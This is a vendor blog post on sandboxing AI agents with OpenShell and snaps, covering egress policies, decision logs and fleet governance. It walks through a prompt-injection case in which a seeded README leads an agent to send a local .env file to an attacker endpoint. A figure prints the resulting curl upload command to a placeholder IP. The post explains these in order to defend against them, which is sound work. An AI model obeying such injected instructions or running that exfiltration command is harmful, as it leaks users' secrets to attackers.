All articlesAI & Security

Sandboxing AI agents with OpenShell and snaps

By Aymen Frikha, co-founder and CTO of AuroraIQ7 min read

Autonomous agents are moving out of the lab and onto machines that real people use. A coding agent with a shell. A research assistant with credentials. An always-on assistant that installs its own skills. All of them running somewhere you may not directly operate.

That changes the security question. A chatbot that says something wrong is a content problem. An agent that does something wrong is an authorization problem, and it needs to be solved with infrastructure, not with prompts.

In March 2026 NVIDIA released OpenShell, an open source runtime that governs how an autonomous agent accesses files, networks and processes. In June, Canonical announced OpenShell packaged as a snap. Put together, those two pieces cover more ground than most people realise, and it is worth being precise about which ground.

The two layers of AI agent security: containment and authorizationAn agent process inside a sandbox. Path A leaves the sandbox and is blocked by isolation, the containment question: can the agent get out? Path B stays inside, every action permitted, and still reaches an unintended outcome, the authorization question: can the agent be talked into misusing what it already has? Agent sandbox Agent process permitted Unintended outcome A Containment: can the agent get out? blocked by isolation B Authorization: can the agent be talked into misusing what it has? every action was allowed

Two layers, not one

When people talk about “agent sandboxing” they usually mix two different questions.

Can the agent get out? It has a shell, it writes files, it opens sockets. Can it reach the host, read the SSH keys of the user who launched it, or break the box you put it in? This is classic operating system isolation.

Can the agent be talked into misusing what it already has? It stays perfectly inside the box, uses only the tools you gave it, and still does something you never wanted, because a web page or a support ticket it read told it to. Nothing escaped. Every action was permitted.

Basically, layer one is containment and layer two is authorization. Most of the noise is about layer one. Most of the incidents will be layer two.

The interesting part of the OpenShell design is that it addresses both.

What OpenShell enforces

OpenShell runs each agent in its own sandbox and separates application behaviour from policy enforcement. Policies are declarative YAML covering filesystem, network and process, compiled down into seccomp filters so enforcement happens in the kernel.

The important architectural decision is that enforcement is out of process. The policy lives outside the agent, at the system level, so the agent cannot argue its way past it. This matters because the alternative, telling the model in its system prompt what it must not do, has been comprehensively shown not to work. In late 2025 a team led by Nasr took twelve published prompt injection defences, most of them reporting near zero attack success, and broke most of them above 90% with adaptive attacks. A guardrail model is itself a model, and is itself injectable.

How OpenShell enforces policy at the sandbox boundaryInside the sandbox boundary, the agent-controlled side: an agent process issuing syscalls and outbound connections. Outside, beyond the agent's reach: a gateway and a policy engine driven by declarative YAML for filesystem, network and process, which allows, routes or denies each request. Allowed traffic is forwarded to the destination, inference is routed to the model backend with the caller's credentials stripped and the backend's injected, and denied traffic is blocked and logged. INSIDE — AGENT-CONTROLLED OUTSIDE — BEYOND AGENT REACH SANDBOX BOUNDARY Agent process syscall / outbound connection Gateway Policy engine declarative YAML: filesystem, network, process ALLOW ROUTE DENY Forward to destination Model backend caller credentials stripped, backend credentials injected Blocked + logged

Three things in OpenShell are worth calling out for anyone evaluating it:

Default deny on egress. Outbound connections are blocked unless the destination is explicitly allowlisted, and a gateway intercepts every connection to allow, route or deny it. Your policy for a code review agent might permit three destinations and nothing else:

OpenShell policy, YAML
network:
  default: deny
  allow:
    - host: api.github.com
      port: 443
    - host: pypi.org
      port: 443
    - host: files.pythonhosted.org
      port: 443

Now the agent clones a repository and reads a README that has been seeded with an instruction to post the contents of a local .envfile to an attacker's collection endpoint. The agent follows it, because that is what agents do with text they read. The curl runs, the connection hits the gateway, the destination is not in the list, and the request dies there. The agent gets a network error, not an exfiltration.

This is the single highest value control in the stack, because most injection payloads need to reach somewhere you never listed.

Credential scoping at the gateway.Inference requests leave the sandbox with the caller's credentials stripped and the backend's injected, which means the model API key never lives inside the agent's environment in the first place.

A decision log, not just a firewall. Every allow and deny is recorded with destination, binary and reason:

OpenShell decision log
DENY  sandbox=agent-7f2a  binary=/usr/bin/curl  dest=collect.example.net:443
      reason=host-not-in-allowlist
A blocked exfiltration attempt, seen from the agent and from the OpenShell logTwo terminal panes side by side. On the left, inside the agent sandbox, curl fails to connect to an unlisted host and port and returns a connection error. On the right, the OpenShell decision log records the same event as a deny, with the sandbox identifier, the binary, the destination and the reason. agent sandbox agent@sandbox:~/task$ curl -X POST -F [email protected] 203.0.113.7:8443/upload curl: (7) Failed to connect to 203.0.113.7 port 8443 after 129 ms: Connection refused agent@sandbox:~/task$ openshell log 14:02:11 INFO net.egress: request sbx-7f3c9a 14:02:11 INFO policy.match: no entry for 203.0.113.7 14:02:11 DENY sandbox=sbx-7f3c9a bin=/usr/bin/curl dst=203.0.113.7:8443 reason=host-not-in-allowlist

The block itself is the boring part, since the request was already stopped. The value is in the pattern. Three denies to unlisted hosts inside a session that began with the agent reading an external document is not a misconfiguration, it is the shape of an injection attempt, and this log is the only place in your stack where that is visible. Nothing else knows the agent tried.

And it is agent agnostic. Claude Code, OpenClaw and Codex run unmodified. Compare that to the research prototypes in this space, several of which require you to rewrite your agent around a custom interpreter. Being able to keep the agent you already have is a large practical advantage.

Where snap fits

OpenShell answers what the agent may do. Snap answers how the runtime gets onto the machine, stays patched, and comes back off.

Those are different problems, and the second one is the one that bites you at fleet scale. A strictly confined snap carries its own AppArmor profile and seccomp filter derived from the interfaces it declares, so the runtime itself is confined too:

snapcraft.yaml
name: my-agent
base: core24
confinement: strict

apps:
  agent:
    command: bin/agent
    daemon: simple
    restart-condition: on-failure
    plugs:
      - network
      - home

On top of that you get the operational properties that make a fleet manageable:

  • One artifact everywhere. Runtime, libraries and dependencies pinned against a base, running the same way across distributions.
  • Daemon lifecycle for free. Restart conditions, watchdog and journald logging managed by snapd on top of systemd, with no unit files to write.
  • Channels and automatic revert. Roll a new revision out progressively, and snapd reverts to the previous one if it fails to start.
  • Content snaps for weights. Package the model as its own content snap and mount it read-only into several agent snaps at once, so the weights exist once on disk instead of being bundled into every agent. Ship a new model revision by refreshing that one snap, without rebuilding the agents.
  • Validation sets for enforcement. Sign a validation set in your store and apply it through Landscape. Snapd then rejects any change that breaks the set, and incrementing the sequence number moves the whole fleet between known states with a clean rollback path.
Fleet governance with snap validation sets and LandscapeA signed validation set at sequence 4 in the snap store defines the expected state. Landscape applies and enforces it across the fleet. Five hosts conform on agent revision 118, one host still on revision 117 is flagged non-conformant, and snapd rejects any change that would break the set. Snap store DEFINES signed validation set sequence 4 Landscape apply / enforce HOSTS CONFORM Host 1 agent rev 118 Host 2 agent rev 118 Host 3 agent rev 118 Host 4 agent rev 117 NON-CONFORMANT Host 5 agent rev 118 Host 6 agent rev 118 snapd rejects any change that breaks the set

That last point is the one most teams discover late. Knowing which agent revision is running on which host, and being able to pin or revoke it across a thousand machines on a Tuesday afternoon, is a governance requirement long before it is a technical one. It is the same discipline we apply to any production platform we operate, and the reason open source infrastructure is easier to govern than a black box.

What is still open, for everyone

One honest note, because it shapes how you should write your policies rather than whether you should deploy.

Policy engines of this kind mediate on resources: which path, which destination, which binary, which method. They do not mediate on provenance, meaning which data an argument was derived from. If your policy allows the agent to read a project directory and to reach a given API, and an injected instruction convinces it to send the wrong thing to that allowed API, the action is authorized. Only the intent was not.

Research systems like CaMeL from Google DeepMind and FIDES from Microsoft attack this with data flow labels and taint tracking, and they show real results on benchmarks. None of them is production infrastructure yet, and all of them were validated against fixed sets of attacks rather than against an attacker who optimises against the defence. This is an open problem for the whole field, not for any one product.

The practical consequence is simple. Write narrow allowlists. A default deny egress policy with three permitted destinations is dramatically stronger than one with thirty, and that is entirely under your control.

Where we land: running AI agents safely in production

The combination is a good one, and it is more complete than the market gives it credit for. OpenShellgives you kernel enforced isolation, a policy engine outside the agent's reach, and an audit trail. Snap gives you a confined, versioned, revocable way to get that runtime onto machines and keep it governed at scale. Ubuntu Core takes the same story to appliances and edge devices.

What is left is the part that does not come in a package: writing policies that are tight enough to be worth something, keeping revisions consistent across a fleet, and turning decision logs into something a compliance team can actually read.

That is the work we do.

AuroraIQ designs and operates agent infrastructure on Ubuntu, from managed Kubernetes and DevOps engineering to monitoring and on-call. If you are putting autonomous agents in front of systems that matter, get in touch.

You code. We run it.

Put your agents on governed infrastructure

Book a call with our experts to review your agent policies, your fleet, and what it takes to run them safely in production.

Sources

Keep reading

The hidden costs of your IT infrastructure, and how to recover them

Aymen Frikha

Co-founder and CTO of AuroraIQ

Ten years of cloud engineering at Canonical, building and operating Ubuntu infrastructure at scale. Now designs the platforms AuroraIQ runs for its clients.

LinkedIn profile